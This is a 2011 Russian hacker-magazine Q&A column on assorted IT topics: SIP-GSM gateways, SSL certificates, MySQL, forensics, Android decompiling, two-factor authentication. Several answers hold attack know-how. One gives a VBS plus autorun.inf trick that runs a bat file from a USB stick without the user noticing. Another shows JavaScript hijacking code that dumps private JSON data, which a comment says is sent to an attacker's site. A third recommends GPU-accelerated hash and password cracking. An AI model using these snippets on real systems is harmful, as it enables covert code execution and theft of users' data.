Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 151, АВГУСТ 2011 г.

FAQ United?

Есть вопросы — присылай на faq@real.xakep.ru

Q: Каким образом можно дешево поднять SIP-GSM-шлюз?

A: Хороший подарок в решении этой проблемы сделали нам сотовые операторы, которые практически бесплатно раздают 3G-модемы по разным акциям. Несмотря на цветастые логотипы, большинство из них родилось в Китае на фабриках компании ZTE или Huawei. Проверенным вариантом, который подойдет для решения поставленной задачи, является Huawei e1550, умеющий передавать голос в GSM. Тут надо сказать, что 3G-модемы продаются залоченными на конкретного оператора, а возможности для голосового общения у них урезаны на программном уровне. И то и другое без труда обходится с помощью многочисленных инструкций, которые давно разлетелись по всему рунету. На форумах есть и нужные прошивки — короче говоря, маленькое недоразумение решается быстро и недорого. Таким образом, с помощью устройства, которое стоит две копейки, можно звонить и принимать входящие вызовы. Хорошо, но как это не использовать для создания SIP-GSM-шлюза? На компьютер с подключенным модемом устанавливается SIP-клиент, который дергает голос в обе стороны с этого модема и направляет на SIP-сервер (asterisk, oktell, sipnet и т.д.).

В результате получается GSM-SIP-шлюз. Особого внимания здесь заслуживает программа Oktell SIP-GSM Gateway (www.telsystems.ru/gateways), которую специально разработали для создания шлюза с использованием 3G-модемов. На текущий момент поддерживает следующие девайсы: Huawei E1550, Huawei E160g, ZTE MF180. Технология, на самом деле, не новая: китайцы давно производят шлюзы VoIP-GSM в железном корпусе. Но оцени разницу в цене: стоимость такого девайса на одну симку начинается от $300 (модем, напомню, продают за 700-800 рублей, а то и вовсе дарят). Возможно, в ближайших номерах мы сделаем об этом подробную статью. А пока рекомендую почитать bit.ly/aNNQTD.

Q: В Adobe Flash есть опция для преобразования SWF-файлов в iOS-приложения. Кажется, со стороны Apple некоторое время даже был запрет на использование подобных технологий, позволяющих создавать программы для iPhone/ iPad сторонними средствами. Скажи, имеет ли подобная функция право на существование или это просто пунктик в списке опций для красного словца?

A: За отчетом я обратился к нашему автору Евгению Кузьмину, который профессионально занимается разработкой под iOS, и вот что он ответил: «Для очень простецких игр и несложных приложений, где нет физики, кучи спрайтов и прочих наворотов, такая возможность может быть и сгодится. Но для серьезных разработок она, честно скажу, слишком тормозная». Так что, увы, если есть желание разрабатывать игры для iPhone/ iPad, то без изучения Objective-C - никуда.

Q: Можно ли каким-нибудь образом незаметно запустить bat-файл с флешки?

A: Теперь, с учетом того, что компания Microsoft фактически отрубила возможность автозапуска с флешки, сделать это будет нелегко. Но на старых непропатченных системах сработает такой трюк:

1. Закидываем на флешку myfile.vbs со следующим содержанием:

Set WshShell = CreateObject(
"WScript.Shell")
WshShell.Run "cmd.exe /c
[ИМЯ_BAT_ФАЙЛА]", 0, false
2. В autorun.inf добавляем следующее:
[AutoRun]
UseAutoPlay=1
open=myfi le.vbs

Обрати внимание, что хотя для пользователя запуск будет незаметным, некоторые антивирусы забьют тревогу и предупредят юзера о подозрительных файлах на USB-носителе.

Q: Веду небольшой проект, который стремительно развивается. Поскольку через сайт ведутся операции с кредитными картами, хочу обзавестись полноценным SSL-сертификатом. Подхожу к безопасности серьезно. Сколько стоит SSL-сертификат для сайта? Есть ли какой-то вариант получить его бесплатно?

A: Полноценный SSL-сертификат, как ты правильно понимаешь, за просто так никто не выдает. Правда, есть возможность бесплатно обзавестись триальным сертификатом на ограниченный срок (на 30 или 90 дней). Тест-драйв в частности можно заказать через сайт www.freessl.su. Как говорят владельцы сервиса, «такой сертификат предназначен для тестирования технической инфраструктуры до покупки коммерческого SSL-сертификата». Что удобно, выпускается он в течение нескольких минут, а для его получения достаточно заполнить простую форму:

Your Name:
Example: John Smith
Your E-mail:
Example: test@example.com
Phone:
Example: 8(495)2295670
Select the server software used to
generate the CSR:
Example: Apache-SSL
CSR:
Example:
-----BEGIN CERTIFICATE REQUEST----MIIDUDCCArkCAQAwdTEWMBQGA1UEAxMNdGVzd
C50ZXN0LmNvbTESMBAGA1UECxMJ
TWFya2V0aW5nMREwDwYDVQQKEwhUZXN0IE9yZ
zESMBAGA1UEBxMJVGVzdCBDaXR5
.......
Rq+blLr5X5iQdzyF1pLqP1Mck5Ve1eCz0R9/
OekGSRno7ow4TVyxAF6J6ozDaw7e
GisfZw40VLT0/6IGvK2jX0i+t58RFQ8WYTOcT
RlPnkG8B/uV
-----END CERTIFICATE REQUEST----

Вопросы может вызвать только последнее поле — CSR (Certificate Signing Request).

Сюда нужно вставить информацию о твоем сертификате, включая публичный ключ (Public Key). Сгенерировать его можно через openssl (подробнее читай в статье www.freessl.su/articles/13). А чтобы подключить сертификат потребуется настройка mod_ssl для Apache (считаем, что в качестве вебсервера ты используешь именно его). Весь процесс пошагово описан в этом материале — www.freessl.su/articles/14.

Q: Объясни на пальцах, что такое JavaScript hijacking?

A: Лучше всего на этот вопрос ответит наш автор - Тарас Иващенко (oxdef.info). Атака известна достаточно давно (статья по теме - bit.ly/jOMIpv) и в текущих версиях большинства веб-браузеров уже неактуальна. Тем не менее, остаются старые веб-браузеры и вариации атаки с форматом JSONP. В двух словах, атака основана на возможности в JavaScript переопределить «сеттеры» для свойств объектов.

Допустим, уязвимое веб-приложение передает в JSON-формате какие-либо критичные данные вот так:

[{"foo":"private data"}]

Злоумышленник может сделать специальную страницу с JS-кодом, в котором переопределяет «сеттер» для свойств объекта. Таким образом, при инициализации свойства foo сработает «триггер», в котором значение этого поля и сдампится:

Object.prototype.__defi neSetter__
("foo", function(x) {
var s = "";
for (f in this) {
s += f + ": ‘" + this[f] + "’, ";
}
s += "foo: " + x;
// пересылаем строку s обычным
// добавлением картинки на сайт
// злоумышленника
});
</script>

<script src="http://target.com/
private/data.js"></script>

С JSONP, с учетом его предназначения, еще проще: достаточно просто передать в качестве параметра подключаемого скрипта название определенной функции. Полученный ответ будет в таком виде:

evilFunction({"paper": "A4", "count": 5})

То есть будет вызвана функция, определенная злоумышленником, в которую будет передана в качестве параметров информация с уязвимой страницы.

Q: Передо мной стоит задача — создать мощное приложение, которое выглядело бы, как обычное десктопное. Какой фреймворк выбрать?

A: Мой совет - ExtJS (www.sencha.com), который развивается уже очень давно и позволяет разрабатывать веб-страницы, которые будут практически неотличимы от обычного приложения. Элементы интерфейса, перетаскивание, мгновенное обновление содержания, окна и таскбары, мощные таблицы — все это уже реализовано в одном, почти мегабайтном файлике кода. ExtJS предоставляет компонентную модель построения, гибкую систему стилизации и расширения языка JavaScript для более удобной разработки. За это, конечно, приходится платить снижением производительности, но для многих это мелочь.

Q: Как грамотно отсечь пользователей со старыми браузерами, выдав им предупреждение о необходимости обновиться?

A: Теперь даже гиганты вроде Google начинают отказываться от поддержи уж слишком устаревших браузеров, закапывая в могилу 6-го ослика. Для jQuery, всенародно любимой JS-библиотеки, доступен плагин, чтобы одной строкой отсекать несознательных пользователей (jquery.thewikies.com/browser). Отличный вариант.

Q: Как ускорить MySQL?

A: Последние версии мускула достаточно быстрые, но с осознанием того, что noSQL не потеснить, ребята придумывают еще более радикальные методы увеличения производительности. Для особых случаев есть HandlerSocket Plugin, который можетработать с таблицами гораздо эффективнее, используя легковесный сетевой слой и простой протокол вообще без всякого SQL. Такие решения позволяют серверу упереться в производительность сетевой карты или дисков, обслуживая, к примеру, 750 тысяч запросов к мускульной таблице в секунду!

Q: Все больше и больше вирусов заражают MBR, хочу научиться отслеживать подобные ситуации. Какие утилиты можно использовать для анализа MBR?

A: Одним из самых полезных инструментов, которые я видел для исследования MBR, является набор Perl-скриптов Boot Record Parsers (www.garykessler.net/software/index.html), в который помимо прочего входят:

  • mbrparser — парсер DOS/Windows Master Boot Record (MBR);
  • bsparser — парсер загрузочных секторов FAT или NTFS.

Чтобы лучше вникнуть в тему, рекомендую тебе прочитать статью «An Examination of the Standard MBR» (bit.ly/kI8AWa).

Q: Подскажи способ максимально быстро исследовать жесткие диски на наличие некоторого контента. Для примера возьмем email-адреса.

A: В кругу компьютерных криминалистов все чаще называют программу bulk_extractor (afflib.org/software/bulk_extractor). Это написанная на C++ утилита, которая сканирует образ диска, файл, или директорию с файлами и баснословно быстро извлекает разного рода информацию. Скорость достигается за счет того, что bulk_extractor не парсит структуры файловой системы, а работает с жестким диском напрямую, при этом может работать с разными участками образа параллельно.
При этом программа может сканировать как обычный HDD, так и SSD, оптические носители, карты памяти, дампы сниффера и т.д. Существующие модули позволяют извлекать, к примеру, номера кредитных карт (что очень ценно для тех, кто занимается digital forensics), информацию EXIF из фотографий и видео, IP/MAC/Email-адреса, URL и т.д. Результаты обычно имеют довольно громоздкий вид, поэтому для последующей обработки результатов разработчики предлагают ряд вспомогательных скриптов на Python’е.

Q: Какой сейчас самый быстрый способ взломать MD5 и другие хэши?

A: Если не брать в расчет радужные таблицы, а также распределенные системы, то одним из лучших вариантов является старый добрый John the Ripper (www.openwall.com/john) с набором патчей, которые используют для ускорения возможности видеокарты.

Для разного вида хешей используются различные технологии ускорения за счет GPU:

  • OpenCL: NT, raw-MD4, raw-MD5, NSLDAP и raw-SHA1;
  • CUDA: raw-SHA256, phpass.

Раз уж мы вспомнили про John the Ripper, не могу не упомянуть, что с недавнего времени утилита научилась брутить не только хэши, но и пароли к архивам ZIP и RAR, PDFдокументам, а также SSH-ключи. Рекомендую посмотреть также тулзу ighashgpu от Ивана Голубева (www.golubev.com/blog).

Q: Какие программы используют для реверсинга Android-приложений? Отсутствие жестких политик внутри магазина приложений Android market иногда настораживает — хочется самому убедиться, что установленная программа не будет отправлять на платный номер.

A: Начну с небольшого пояснения. Устройство на базе Android может выполнять приложения, которые были сконвертированы в специальный формат - Dalvik Executable (.dex). Для таких бинарников существует немало декомпиляторов. Талантливый китайский студент еще в прошлом году опубликовал утилиту dex2jar (code.google.com/p/dex2jar), преобразующую .dex-бинарники в читаемый Java-код, который удобно просматривать через JD-GUI (java.decompiler.free.fr). Еще одним известным декомпилятором является smali (code.google.com/p/smali). Среди прочих подобных продуктов выделяется Kivlad (www.matasano.com), который нативно работает с Dalvik-байкодом и преобразует его напрямую в Java-байткод, что дает результат гораздо лучшего качества. Декомпилятор написан на Ruby и работает под Windows, Linux и OS X.

Q: Какие есть инструменты, чтобы посмотреть, как на самом низком уровне взаимодействуют драйвер и USBустройство?

A: Возможность логировать USB-трафик позволяет, к примеру, VMware. Для этого в конфиг виртуальной машины (vmx-файл) нужно добавить следующие строки:

usb.analyzer.enable = TRUE
monitor = "debug"
usb.analyzer.maxLine = 8192
mouse.vusb.enable = FALSE

После этого весь трафик в виде «как есть» будет логироваться в файл vmware.log. В таком дампе без вспомогательных инструментов сам черт ногу сломит, поэтому лучше сразу взять в напарники еще и прогу vsusbanalyser (vusb-analyzer.sourceforge.net/tutorial.html). Помимо этого можно преобразовать получившийся лог в более привычный PCAP-формат, воспользовавшись написанным на Ruby скриптом vmwusb2pcap.rb (bit.ly/la7Aju).

Q: Когда звонишь в call-центр какойнибудь компании, то сразу попадаешь на автоматизированную систему. «Нажмите 0 для связи с оператором», «Нажмите 1 для того, чтобы узнать баланс» и т.д. Нужно реализовать что-то подобное, как?

A: Речь идет об IVR (англ. Interactive Voice Response), системе предварительно записанных голосовых сообщений, выполняющей функцию маршрутизации звонков внутри call-центра. Пользователь общается с такой системой посредством тонального набора. Реализовать IVR можно с помощью уже наверняка знакомого тебе проекта Asterix (www.asterisk.org). Всю логику простой IVR-системы можно реализовать через конфиг extensions.conf, но для сложных задач лучше использовать возможности AGI.

Это скрипты на Perl или Python, с помощью которых можно создать довольно сложные сценарии работы голосового робота. Реализация через Asterix очень дешева, но при этом весьма масштабируема. На самом обычном компьютере могут одновременно обслуживаться сотни звонков без какихлибо затруднений.

Поднять самую простую IVR можно по этой несложной инструкции: bit.ly/lNj26k. Замечу, что таким образом можно создавать и автоматических роботов, которые будут обзванивать абонентов, к примеру, с напоминанием об оплате счета.

Q: Мне очень нравится возможность двухфакторной авторизации у Google, когда для входа требуется ввести еще и одноразовый пароль, который по особому алгоритму генерируется на телефоне. Есть ли готовое подобное решение, которое можно подключить к своему ресурсу для усиления защиты пользователя?

A: Есть несколько коммерческих сервисов, которые можно красиво интегрировать в свои продукты: Duo Security (www.duosecurity.com) и Symantec’s VIP Authentication Service (www.verisign.com).

При должном желании можно сэкономить и реализовать все самому, используя разработку Mobile-OTP (motp.sourceforge.net). Клиентская часть, с помощью которой пользователю будет выдаваться одноразовый пароль, написана на Java и может быть запущена практически на любом современном устройстве, а на сервере может быть использован RADIUS-сервер (например, XTRadius), с помощью которого будет выполняться авторизация. Ты можешь справедливо заметить, что на Android или iPhone запустить Java-приложение не выйдет. Так и есть, но энтузиасты уже написали приложения для генерации токенов и для этих платформ.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001